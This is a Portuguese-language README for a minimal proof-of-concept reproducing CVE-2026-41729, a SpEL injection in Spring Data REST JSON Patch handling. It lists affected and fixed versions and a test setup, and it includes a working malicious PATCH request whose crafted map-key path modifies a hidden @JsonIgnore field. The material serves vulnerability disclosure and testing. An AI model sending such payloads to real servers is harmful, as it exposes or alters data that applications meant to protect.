
CVE-2026-41729 PoC
Este repositório é um PoC de reprodução mínima do CVE-2026-41729, divulgado no comunicado oficial de segurança da Spring.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NQuando o Spring Data REST processa requisições JSON Patch (Content-Type: application/json-patch+json), havia um problema de inserção direta do fragmento de caminho da chave do mapa de uma propriedade do tipo map em uma expressão SpEL.
De acordo com o comunicado oficial, se uma entidade persistente expõe uma propriedade do tipo Map e um atacante pode enviar uma requisição PATCH para o recurso do item, ele pode manipular o segmento da chave do mapa para escapar do literal do indexador de mapa pretendido e avaliar subexpressões SpEL no contexto da raiz do agregado. Foi divulgado que tanto o caminho de patch de leitura quanto o de escrita são afetados.
Este PoC utiliza o caminho de patch de escrita para demonstrar que um campo @JsonIgnore, não exposto na representação REST normal, é alterado por um caminho JSON Patch malicioso.
Produtos afetados conforme comunicado oficial:
Versões afetadas:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5Versões corrigidas:
3.7.204.3.174.4.154.5.12 ou 4.5.11.15.0.6 ou 5.0.5.1O teste inicia uma aplicação Spring Boot real e envia requisições HTTP PATCH para o endpoint do repositório Spring Data REST.
O objeto de domínio possui a seguinte estrutura:
people exposto externamentehiddenChildren dentro de cada Person, mas oculto na representação Jackson/Spring Data RESTNa resposta REST normal, hiddenChildren e seus valores internos não são visíveis.
GET /wrappers/sample
Um JSON Patch que especifica diretamente a propriedade oculta é rejeitado.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
No entanto, usando uma chave de mapa manipulada, é possível escapar do literal da chave de mapa pretendido durante o processo de conversão de caminho JSON Patch para caminho SpEL no Spring Data REST, levando ao caminho da propriedade oculta.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
Na versão vulnerável, esta requisição é bem-sucedida e o valor interno muda conforme abaixo:
before -> after
O teste confirma que não foi criada uma chave real a'].hiddenChildren['b no mapa, mas sim que o caminho da propriedade oculta foi modificado devido ao breakout da expressão.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
Resultado esperado na versão vulnerável:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
O sucesso do teste significa que o comportamento vulnerável foi reproduzido. Ou seja, na dependência vulnerável, a requisição JSON Patch maliciosa é bem-sucedida, demonstrando a alteração do estado interno oculto.
Este repositório utiliza o parent Spring Boot 3.5.14, resultando na resolução do spring-data-rest-webmvc 4.5.11. Isso está dentro do escopo de impacto do comunicado oficial: 4.5.0 - 4.5.11.
Um atacante que pode enviar requisições JSON Patch para um endpoint Spring Data REST pode manipular a chave do mapa para induzir uma avaliação não intencional de caminho SpEL no servidor. Como resultado, valores internos do grafo de objetos que a aplicação pretendia não expor na representação REST podem ser lidos ou modificados.
O comunicado oficial avaliou o impacto na confidencialidade e integridade como Alto.
O comunicado oficial da Spring menciona o seguinte: